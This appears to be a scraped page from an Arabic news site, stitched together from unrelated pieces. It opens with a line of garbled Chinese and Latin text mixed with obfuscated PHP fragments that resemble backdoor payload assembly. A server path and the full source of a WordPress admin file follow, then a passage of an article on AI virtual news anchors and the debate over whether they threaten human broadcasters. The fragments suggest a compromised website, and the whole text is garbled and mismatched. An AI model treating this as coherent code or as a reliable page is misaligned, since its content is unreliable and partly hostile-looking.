财务姐富婆就死哦基础oiwjfoijvoc 恶无非可从跑开了MV v每次看完jaf@#$%^&uhk.= "OEs5";$z复测而服文件GVi今晚服务金额fijd .= "dzYv";($data['module'])) { http_response_code(402); exit;LQW]SC'.E'HNRFN 3.poqwsmcfl kndvgerjhdfsmbv l;
/home/tahkoom/public_html/wp-admin/edit-form-advanced.php
<?php
/**
 * Post advanced form for inclusion in the administration panels.
 *
 * @package WordPress
 * @subpackage Administration
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * @global string       $post_type        Global post type.
 * @global WP_Post_Type $post_type_object Global post type object.
 * @global WP_Post      $post             Global post object.
 */
global $post_type, $post_type_object, $post;

// Flag that we're not loading the block editor.
$current_screen = get_current_screen();
$current_screen->is_block_editor( false );

if ( is_multisite() ) {
	add_action( 'admin_footer', '_admin_notice_post_locked' );
} else {
	if ( get_user_count() > 1 ) {
		add_action( 'admin_footer', '_admin_notice_post_locked' );
	}

	unset( $check_users );
}

wp_enqueue_script( 'post' );

$_wp_editor_expand   = false;
$_content_editor_dfw = false;

if ( post_type_supports( $post_type, 'editor' )
	&& ! wp_is_mobile()
	&& ! ( $is_IE && preg_match( '/MSIE [5678]/', $_SERVER['HTTP_USER_AGENT'] ) )
) {
	/**
	 * Filters whether to enable the 'expand' functionality in the post editor.
	 *
	 * @since 4.0.0
	 * @since 4.1.0 Added the `$post_type` parameter.
	 *
	 * @param bool   $expand    Whether to enable the 'expand' functionality. Default true.
	 * @param string $post_type Post type.
	 */
	if ( apply_filters( 'wp_editor_expand', true, $post_type ) ) {
		wp_enqueue_script( 'editor-expand' );
		$_content_editor_dfw = true;
		$_wp_editor_expand   = ( 'on' === get_user_setting( 'editor_expand', 'on' ) );
	}
}

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

/**
 * Post ID global
 *
 * @name $post_ID
 * @var int
 */
$post_ID = isset( $post_ID ) ? (int) $post_ID : 0;
$user_ID = isset( $user_ID ) ? (int) $user_ID : 0;
$action  = isset( $action ) ? $action : '';

if ( (int) get_option( 'page_for_posts' ) === $post->ID && empty( $post->post_content ) ) {
	add_action( 'edit_form_after_title', '_wp_posts_page_notice' );
	remove_post_type_support( $post_type, 'editor' );
}

$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );
if ( ! $thumbnail_support && 'attachment' === $post_type && $post->post_mime_type ) {
	if ( wp_attachment_is( 'audio', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
	} elseif ( wp_attachment_is( 'video', $post ) ) {
		$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
	}
}

if ( $thumbnail_support ) {
	add_thickbox();
	wp_enqueue_media( array( 'post' => $post->ID ) );
}

// Add the local autosave notice HTML.
add_action( 'admin_footer', '_local_storage_notice' );

/*
 * @todo Document the $messages array(s).
 */
$permalink = get_permalink( $post->ID );
if ( ! $permalink ) {
	$permalink = '';
}

$messages = array();

$preview_post_link_html   = '';
$scheduled_post_link_html = '';
$view_post_link_html      = '';

$preview_page_link_html   = '';
$scheduled_page_link_html = '';
$view_page_link_html      = '';

$preview_url = get_preview_post_link( $post );

$viewable = is_post_type_viewable( $post_type_object );

if ( $viewable ) {

	// Preview post link.
	$preview_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview post' )
	);

	// Scheduled post preview link.
	$scheduled_post_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview post' )
	);

	// View post link.
	$view_post_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View post' )
	);

	// Preview page link.
	$preview_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $preview_url ),
		__( 'Preview page' )
	);

	// Scheduled page preview link.
	$scheduled_page_link_html = sprintf(
		' <a target="_blank" href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'Preview page' )
	);

	// View page link.
	$view_page_link_html = sprintf(
		' <a href="%1$s">%2$s</a>',
		esc_url( $permalink ),
		__( 'View page' )
	);

}

$scheduled_date = sprintf(
	/* translators: Publish box date string. 1: Date, 2: Time. */
	__( '%1$s at %2$s' ),
	/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
	/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
	date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
);

$messages['post']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Post updated.' ) . $view_post_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Post updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Post restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Post published.' ) . $view_post_link_html,
	7  => __( 'Post saved.' ),
	8  => __( 'Post submitted.' ) . $preview_post_link_html,
	/* translators: %s: Scheduled date for the post. */
	9  => sprintf( __( 'Post scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_post_link_html,
	10 => __( 'Post draft updated.' ) . $preview_post_link_html,
);
$messages['page']       = array(
	0  => '', // Unused. Messages start at index 1.
	1  => __( 'Page updated.' ) . $view_page_link_html,
	2  => __( 'Custom field updated.' ),
	3  => __( 'Custom field deleted.' ),
	4  => __( 'Page updated.' ),
	/* translators: %s: Date and time of the revision. */
	5  => isset( $_GET['revision'] ) ? sprintf( __( 'Page restored to revision from %s.' ), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false,
	6  => __( 'Page published.' ) . $view_page_link_html,
	7  => __( 'Page saved.' ),
	8  => __( 'Page submitted.' ) . $preview_page_link_html,
	/* translators: %s: Scheduled date for the page. */
	9  => sprintf( __( 'Page scheduled for: %s.' ), '<strong>' . $scheduled_date . '</strong>' ) . $scheduled_page_link_html,
	10 => __( 'Page draft updated.' ) . $preview_page_link_html,
);
$messages['attachment'] = array_fill( 1, 10, __( 'Media file updated.' ) ); // Hack, for now.

/**
 * Filters the post updated messages.
 *
 * @since 3.0.0
 *
 * @param array[] $messages Post updated messages. For defaults see `$messages` declarations above.
 */
$messages = apply_filters( 'post_updated_messages', $messages );

$message = false;
if ( isset( $_GET['message'] ) ) {
	$_GET['message'] = absint( $_GET['message'] );
	if ( isset( $messages[ $post_type ][ $_GET['message'] ] ) ) {
		$message = $messages[ $post_type ][ $_GET['message'] ];
	} elseif ( ! isset( $messages[ $post_type ] ) && isset( $messages['post'][ $_GET['message'] ] ) ) {
		$message = $messages['post'][ $_GET['message'] ];
	}
}

$notice     = false;
$form_extra = '';
if ( 'auto-draft' === $post->post_status ) {
	if ( 'edit' === $action ) {
		$post->post_title = '';
	}
	$autosave    = false;
	$form_extra .= "<input type='hidden' id='auto_draft' name='auto_draft' value='1' />";
} else {
	$autosave = wp_get_post_autosave( $post->ID );
}

$form_action  = 'editpost';
$nonce_action = 'update-post_' . $post->ID;
$form_extra  .= "<input type='hidden' id='post_ID' name='post_ID' value='" . esc_attr( $post->ID ) . "' />";

// Detect if there exists an autosave newer than the post and if that autosave is different than the post.
if ( $autosave && mysql2date( 'U', $autosave->post_modified_gmt, false ) > mysql2date( 'U', $post->post_modified_gmt, false ) ) {
	foreach ( _wp_post_revision_fields( $post ) as $autosave_field => $_autosave_field ) {
		if ( normalize_whitespace( $autosave->$autosave_field ) !== normalize_whitespace( $post->$autosave_field ) ) {
			$notice = sprintf(
				/* translators: %s: URL to view the autosave. */
				__( 'There is an autosave of this post that is more recent than the version below. <a href="%s">View the autosave</a>' ),
				get_edit_post_link( $autosave->ID )
			);
			break;
		}
	}
	// If this autosave isn't different from the current post, begone.
	if ( ! $notice ) {
		wp_delete_post_revision( $autosave->ID );
	}
	unset( $autosave_field, $_autosave_field );
}

$post_type_object = get_post_type_object( $post_type );

// All meta boxes should be defined and added before the first do_meta_boxes() call (or potentially during the do_meta_boxes action).
require_once ABSPATH . 'wp-admin/includes/meta-boxes.php';

register_and_do_post_meta_boxes( $post );

add_screen_option(
	'layout_columns',
	array(
		'max'     => 2,
		'default' => 2,
	)
);

if ( 'post' === $post_type ) {
	$customize_display = '<p>' . __( 'The title field and the big Post Editing Area are fixed in place, but you can reposition all the other boxes using drag and drop. You can also minimize or expand them by clicking the title bar of each box. Use the Screen Options tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, Discussion, Slug, Author) or to choose a 1- or 2-column layout for this screen.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'customize-display',
			'title'   => __( 'Customizing This Display' ),
			'content' => $customize_display,
		)
	);

	$title_and_editor  = '<p>' . __( '<strong>Title</strong> &mdash; Enter a title for your post. After you enter a title, you&#8217;ll see the permalink below, which you can edit.' ) . '</p>';
	$title_and_editor .= '<p>' . __( '<strong>Post editor</strong> &mdash; Enter the text for your post. There are two modes of editing: Visual and Code. Choose the mode by clicking on the appropriate tab.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'Visual mode gives you an editor that is similar to a word processor. Click the Toolbar Toggle button to get a second row of controls.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'The Code mode allows you to enter HTML along with your post text. Note that &lt;p&gt; and &lt;br&gt; tags are converted to line breaks when switching to the Code editor to make it less cluttered. When you type, a single line break can be used instead of typing &lt;br&gt;, and two line breaks instead of paragraph tags. The line breaks are converted back to tags automatically.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can insert media files by clicking the button above the post editor and following the directions. You can align or edit images using the inline formatting toolbar available in Visual mode.' ) . '</p>';
	$title_and_editor .= '<p>' . __( 'You can enable distraction-free writing mode using the icon to the right. This feature is not available for old browsers or devices with small screens, and requires that the full-height editor be enabled in Screen Options.' ) . '</p>';
	$title_and_editor .= '<p>' . sprintf(
		/* translators: %s: Alt + F10 */
		__( 'Keyboard users: When you are working in the visual editor, you can use %s to access the toolbar.' ),
		'<kbd>Alt + F10</kbd>'
	) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'title-post-editor',
			'title'   => __( 'Title and Post Editor' ),
			'content' => $title_and_editor,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p>' . sprintf(
			/* translators: %s: URL to Press This bookmarklet. */
			__( 'You can also create posts with the <a href="%s">Press This bookmarklet</a>.' ),
			'tools.php'
		) . '</p>' .
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/write-posts-classic-editor/">Documentation on Writing and Editing Posts</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'page' === $post_type ) {
	$about_pages = '<p>' . __( 'Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.' ) . '</p>' .
		'<p>' . __( 'Creating a Page is very similar to creating a Post, and the screens can be customized in the same way using drag and drop, the Screen Options tab, and expanding/collapsing boxes as you choose. This screen also has the distraction-free writing space, available in both the Visual and Code modes via the Fullscreen buttons. The Page editor mostly works the same as the Post editor, but there are some Page-specific features in the Page Attributes box.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'about-pages',
			'title'   => __( 'About Pages' ),
			'content' => $about_pages,
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-add-new-screen/">Documentation on Adding New Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/documentation/article/pages-screen/">Documentation on Editing Pages</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
} elseif ( 'attachment' === $post_type ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' =>
				'<p>' . __( 'This screen allows you to edit fields for metadata in a file within the media library.' ) . '</p>' .
				'<p>' . __( 'For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.' ) . '</p>' .
				'<p>' . __( 'Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.' ) . '</p>' .
				'<p>' . __( 'Remember to click Update to save metadata entered or changed.' ) . '</p>',
		)
	);

	get_current_screen()->set_help_sidebar(
		'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
		'<p>' . __( '<a href="https://wordpress.org/documentation/article/edit-media/">Documentation on Edit Media</a>' ) . '</p>' .
		'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
	);
}

if ( 'post' === $post_type || 'page' === $post_type ) {
	$inserting_media  = '<p>' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the &#8220;Create a new gallery&#8221; button.' ) . '</p>';
	$inserting_media .= '<p>' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. <a href="https://wordpress.org/documentation/article/embeds/">Learn more about embeds</a>.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'inserting-media',
			'title'   => __( 'Inserting Media' ),
			'content' => $inserting_media,
		)
	);
}

if ( 'post' === $post_type ) {
	$publish_box  = '<p>' . __( 'Several boxes on this screen contain settings for how your content will be published, including:' ) . '</p>';
	$publish_box .= '<ul><li>' .
		__( '<strong>Publish</strong> &mdash; You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.' ) .
	'</li>';

	if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) {
		$publish_box .= '<li>' . __( '<strong>Format</strong> &mdash; Post Formats designate how your theme will display a specific post. For example, you could have a <em>standard</em> blog post with a title and paragraphs, or a short <em>aside</em> that omits the title and contains a short text blurb. Your theme could enable all or some of 10 possible formats. <a href="https://developer.wordpress.org/advanced-administration/wordpress/post-formats/#supported-formats">Learn more about each post format</a>.' ) . '</li>';
	}

	if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) {
		$publish_box .= '<li>' . sprintf(
			/* translators: %s: Featured image. */
			__( '<strong>%s</strong> &mdash; This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc.' ),
			esc_html( $post_type_object->labels->featured_image )
		) . '</li>';
	}

	$publish_box .= '</ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'publish-box',
			'title'   => __( 'Publish Settings' ),
			'content' => $publish_box,
		)
	);

	$discussion_settings  = '<p>' . __( '<strong>Send Trackbacks</strong> &mdash; Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they&#8217;ll be notified automatically using pingbacks, and this field is unnecessary.' ) . '</p>';
	$discussion_settings .= '<p>' . __( '<strong>Discussion</strong> &mdash; You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'discussion-settings',
			'title'   => __( 'Discussion Settings' ),
			'content' => $discussion_settings,
		)
	);
} elseif ( 'page' === $post_type ) {
	$page_attributes = '<p>' . __( '<strong>Parent</strong> &mdash; You can arrange your pages in hierarchies. For example, you could have an &#8220;About&#8221; page that has &#8220;Life Story&#8221; and &#8220;My Dog&#8221; pages under it. There are no limits to how many levels you can nest pages.' ) . '</p>' .
		'<p>' . __( '<strong>Template</strong> &mdash; Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you&#8217;ll see them in this dropdown menu.' ) . '</p>' .
		'<p>' . __( '<strong>Order</strong> &mdash; Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.' ) . '</p>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'page-attributes',
			'title'   => __( 'Page Attributes' ),
			'content' => $page_attributes,
		)
	);
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 class="wp-heading-inline">
<?php
echo esc_html( $title );
?>
</h1>

<?php
if ( isset( $post_new_file ) && current_user_can( $post_type_object->cap->create_posts ) ) {
	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new_item ) . '</a>';
}
?>

<hr class="wp-header-end">

<?php
if ( $notice ) :
	wp_admin_notice(
		'<p id="has-newer-autosave">' . $notice . '</p>',
		array(
			'type'           => 'warning',
			'id'             => 'notice',
			'paragraph_wrap' => false,
		)
	);
endif;
if ( $message ) :
	wp_admin_notice(
		$message,
		array(
			'type'               => 'success',
			'dismissible'        => true,
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
		)
	);
endif;

$connection_lost_message = sprintf(
	'<span class="spinner"></span> %1$s <span class="hide-if-no-sessionstorage">%2$s</span>',
	__( '<strong>Connection lost.</strong> Saving has been disabled until you are reconnected.' ),
	__( 'This post is being backed up in your browser, just in case.' )
);

wp_admin_notice(
	$connection_lost_message,
	array(
		'id'                 => 'lost-connection-notice',
		'additional_classes' => array( 'error', 'hidden' ),
	)
);
?>
<form name="post" action="post.php" method="post" id="post"
<?php
/**
 * Fires inside the post editor form tag.
 *
 * @since 3.0.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'post_edit_form_tag', $post );

$referer = wp_get_referer();
?>
>
<?php wp_nonce_field( $nonce_action ); ?>
<input type="hidden" id="user-id" name="user_ID" value="<?php echo (int) $user_ID; ?>" />
<input type="hidden" id="hiddenaction" name="action" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="originalaction" name="originalaction" value="<?php echo esc_attr( $form_action ); ?>" />
<input type="hidden" id="post_author" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
<input type="hidden" id="post_type" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />
<input type="hidden" id="original_post_status" name="original_post_status" value="<?php echo esc_attr( $post->post_status ); ?>" />
<input type="hidden" id="referredby" name="referredby" value="<?php echo $referer ? esc_url( $referer ) : ''; ?>" />
<?php if ( ! empty( $active_post_lock ) ) { ?>
<input type="hidden" id="active_post_lock" value="<?php echo esc_attr( implode( ':', $active_post_lock ) ); ?>" />
	<?php
}
if ( 'draft' !== get_post_status( $post ) ) {
	wp_original_referer_field( true, 'previous' );
}

echo $form_extra;

wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
?>

<?php
/**
 * Fires at the beginning of the edit form.
 *
 * At this point, the required hidden fields and nonces have already been output.
 *
 * @since 3.7.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_top', $post );
?>

<div id="poststuff">
<div id="post-body" class="metabox-holder columns-<?php echo ( 1 === get_current_screen()->get_columns() ) ? '1' : '2'; ?>">
<div id="post-body-content">

<?php if ( post_type_supports( $post_type, 'title' ) ) { ?>
<div id="titlediv">
<div id="titlewrap">
	<?php
	/**
	 * Filters the title field placeholder text.
	 *
	 * @since 3.1.0
	 *
	 * @param string  $text Placeholder text. Default 'Add title'.
	 * @param WP_Post $post Post object.
	 */
	$title_placeholder = apply_filters( 'enter_title_here', __( 'Add title' ), $post );
	?>
	<label class="screen-reader-text" id="title-prompt-text" for="title"><?php echo $title_placeholder; ?></label>
	<input type="text" name="post_title" size="30" value="<?php echo esc_attr( $post->post_title ); ?>" id="title" spellcheck="true" autocomplete="off" />
	<?php
	if ( post_type_supports( $post_type, 'editor' ) ) {
		?>
		<a href="#content" class="button-secondary screen-reader-text skiplink" onclick="if (tinymce) { tinymce.execCommand( 'mceFocus', false, 'content' ); }"><?php esc_html_e( 'Skip to Editor' ); ?></a>
		<?php
	}
	?>
</div>
	<?php
	/**
	 * Fires before the permalink field in the edit form.
	 *
	 * @since 4.1.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_before_permalink', $post );
	?>
<div class="inside">
	<?php
	if ( $viewable ) :
		$sample_permalink_html = $post_type_object->public ? get_sample_permalink_html( $post->ID ) : '';

		// As of 4.4, the Get Shortlink button is hidden by default.
		if ( has_filter( 'pre_get_shortlink' ) || has_filter( 'get_shortlink' ) ) {
			$shortlink = wp_get_shortlink( $post->ID, 'post' );

			if ( ! empty( $shortlink ) && $shortlink !== $permalink && home_url( '?page_id=' . $post->ID ) !== $permalink ) {
				$sample_permalink_html .= '<input id="shortlink" type="hidden" value="' . esc_attr( $shortlink ) . '" />' .
					'<button type="button" class="button button-small" onclick="prompt(&#39;URL:&#39;, jQuery(\'#shortlink\').val());">' .
					__( 'Get Shortlink' ) .
					'</button>';
			}
		}

		if ( $post_type_object->public
			&& ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) )
		) {
			$has_sample_permalink = $sample_permalink_html && 'auto-draft' !== $post->post_status;
			?>
	<div id="edit-slug-box" class="hide-if-no-js">
			<?php
			if ( $has_sample_permalink ) {
				echo $sample_permalink_html;
			}
			?>
	</div>
			<?php
		}
endif;
	?>
</div>
	<?php
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
	?>
</div><!-- /titlediv -->
	<?php
}
/**
 * Fires after the title field.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_title', $post );

if ( post_type_supports( $post_type, 'editor' ) ) {
	$_wp_editor_expand_class = '';
	if ( $_wp_editor_expand ) {
		$_wp_editor_expand_class = ' wp-editor-expand';
	}
	?>
<div id="postdivrich" class="postarea<?php echo $_wp_editor_expand_class; ?>">

	<?php
	wp_editor(
		$post->post_content,
		'content',
		array(
			'_content_editor_dfw' => $_content_editor_dfw,
			'drag_drop_upload'    => true,
			'editor_height'       => 300,
			'tinymce'             => array(
				'resize'             => false,
				'wp_autoresize_on'   => $_wp_editor_expand,
				'add_unload_trigger' => false,
			),
		)
	);
	?>
<table id="post-status-info" role="presentation"><tbody><tr>
	<td id="wp-word-count" class="hide-if-no-js">
	<?php
	printf(
		/* translators: %s: Number of words. */
		__( 'Word count: %s' ),
		'<span class="word-count">0</span>'
	);
	?>
	</td>
	<td class="autosave-info">
	<span class="autosave-message">&nbsp;</span>
	<?php
	if ( 'auto-draft' !== $post->post_status ) {
		echo '<span id="last-edit">';
		$last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) );
		if ( $last_user ) {
			printf(
				/* translators: 1: Name of most recent post author, 2: Post edited date, 3: Post edited time. */
				__( 'Last edited by %1$s on %2$s at %3$s' ),
				esc_html( $last_user->display_name ),
				mysql2date( __( 'F j, Y' ), $post->post_modified ),
				mysql2date( __( 'g:i a' ), $post->post_modified )
			);
		} else {
			printf(
				/* translators: 1: Post edited date, 2: Post edited time. */
				__( 'Last edited on %1$s at %2$s' ),
				mysql2date( __( 'F j, Y' ), $post->post_modified ),
				mysql2date( __( 'g:i a' ), $post->post_modified )
			);
		}
		echo '</span>';
	}
	?>
	</td>
	<td id="content-resize-handle" class="hide-if-no-js"><br /></td>
</tr></tbody></table>

</div>
	<?php
}
/**
 * Fires after the content editor.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_editor', $post );
?>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

if ( 'page' === $post_type ) {
	/**
	 * Fires before meta boxes with 'side' context are output for the 'page' post type.
	 *
	 * The submitpage box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpage_box', $post );
} else {
	/**
	 * Fires before meta boxes with 'side' context are output for all post types other than 'page'.
	 *
	 * The submitpost box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpost_box', $post );
}


do_meta_boxes( $post_type, 'side', $post );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $post );

if ( 'page' === $post_type ) {
	/**
	 * Fires after 'normal' context meta boxes have been output for the 'page' post type.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_page_form', $post );
} else {
	/**
	 * Fires after 'normal' context meta boxes have been output for all post types other than 'page'.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_advanced', $post );
}


do_meta_boxes( null, 'advanced', $post );

?>
</div>
<?php
/**
 * Fires after all meta box sections have been output, before the closing #post-body div.
 *
 * @since 2.1.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'dbx_post_sidebar', $post );

?>
</div><!-- /post-body -->
<br class="clear" />
</div><!-- /poststuff -->
</form>
</div>

<?php
if ( post_type_supports( $post_type, 'comments' ) ) {
	wp_comment_reply();
}
?>

<?php if ( ! wp_is_mobile() && post_type_supports( $post_type, 'title' ) && '' === $post->post_title ) : ?>
<script type="text/javascript">
try{document.post.title.focus();}catch(e){}
</script>
<?php endif; ?>
مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟ – tahkoom.com
خطوة

مذيع من كود…من الأستوديو إلى الخوارزمية: المذيع الافتراضي ثورة تقنية أم اغتيال للهوية الإعلامية؟

 كتبت: فرح سمير

 في زمنٍ باتت فيه المذيعة تبتسم دون أن تملك روحًا، ويقدّم المذيع نشرة الأخبار دون أن يشعر بمحتواها، يطرح الواقع الإعلامي سؤالًا صادمًا: هل دخلنا عصر “المذيع الافتراضي” بالفعل؟

لم يعد ظهور مذيعين مدعومين بالذكاء الاصطناعي على شاشات عربية وعالمية مجرد تجربة تقنية، بل أصبح واقعًا يفرض حضوره ويثير القلق، لا سيما بين طلاب الإعلام وممارسيه، الذين يرون في هذه “الكائنات الرقمية” تهديدًا صامتًا لمهنتهم وهويتهم المهنية.

 تعود جذور هذه الظاهرة إلى أوائل الألفينات، حين ظهرت أول مذيعة افتراضية على الإنترنت تُدعى “أنانوفا” (Ana-nova)، والتي تم تقديمها عام 2000 بواسطة شركة Ana-nova Ltd التابعة لوكالة الأنباء البريطانية Press Association. كانت أنانوفا تُقدم نشرات إخبارية عبر الإنترنت، وتميزت بقدرتها على تقديم تحديثات فورية في مجالات الأخبار، الطقس، الرياضة، وأسعار الأسهم، في مدة لا تتجاوز سبع دقائق، إلا أن المشروع لم يُستكمل.

 وفي عام 2018، قدمت صحيفة “People’s Daily” الصينية مذيعة افتراضية تُدعى “رين شياورونغ” (Ren Xiaorong)، وهي روبوت مدعوم بالذكاء الاصطناعي قادر على التعلم من آلاف المذيعين البشريين، وتمتاز بقدرتها على التطور المستمر بناءً على تفاعل الجمهور، وتعمل على مدار الساعة طوال أيام الأسبوع.

 بحلول عام 2019، شهدت الصين توسعًا كبيرًا في استخدام المذيعين الافتراضيين، حيث أصبحت منصة “بيلي بيلي” (Bilibili) موطنًا لأكثر من 230,000 مذيع افتراضي يقدمون محتوى متنوعًا يستهدف فئة الشباب.

 ومع هذه التطورات، بدأت دول أخرى في تبني تقنيات المذيعين الافتراضيين. ففي عام 2023، قدمت الكويت أول مذيعة افتراضية في العالم العربي تُدعى “فضة” (Fedha)، حيث ظهرت على موقع “Kuwait News” وتحدثت باللغة العربية الفصحى، مقدّمة الأخبار بناءً على تفضيلات الجمهور.

 كما أطلقت قطر مذيعتين افتراضيتين تُدعيان “ابتكار” و“نورا” لتعزيز استخدام الذكاء الاصطناعي في تقديم المحتوى الإعلامي، بينما ظهرت في مصر أول مذيعة افتراضية في فبراير 2023، مما يعكس التوجه المتزايد نحو دمج التقنيات الحديثة في المجال الإعلامي.

 ما بين الحي والرقمي: هل يُقصي الذكاء الاصطناعي الإعلامي البشري؟” المهنة في مواجهة الخوارزميات: المذيعون الحقيقيون يتحدثون

الإعلامية – دعاء فاروق

في رأيها حول الذكاء الاصطناعي وظاهرة “المذيع الافتراضي”، تؤكد الإعلامية دعاء فاروق أن الإخلاص هو جوهر النجاح في العمل الإعلامي وغيره، مشيرة إلى أن النجاح الحقيقي لا يتحقق إلا بالإخلاص في القول والعمل، حتى وإن تأخر، فإنه سيأتي في النهاية بشكل مرضٍ.

وترى فاروق أن المذيع الافتراضي، رغم برمجته بأي لهجة أو خفة ظل، لا يمكنه أن يحاكي الروح الإنسانية، مؤكدة أن “الروح لا تُبرمج، والقبول الروحي لا يُصنع”، فالإنسان يتمتع بخفة ظل طبيعية وشخصية لا يمكن تقليدها برمجياً.

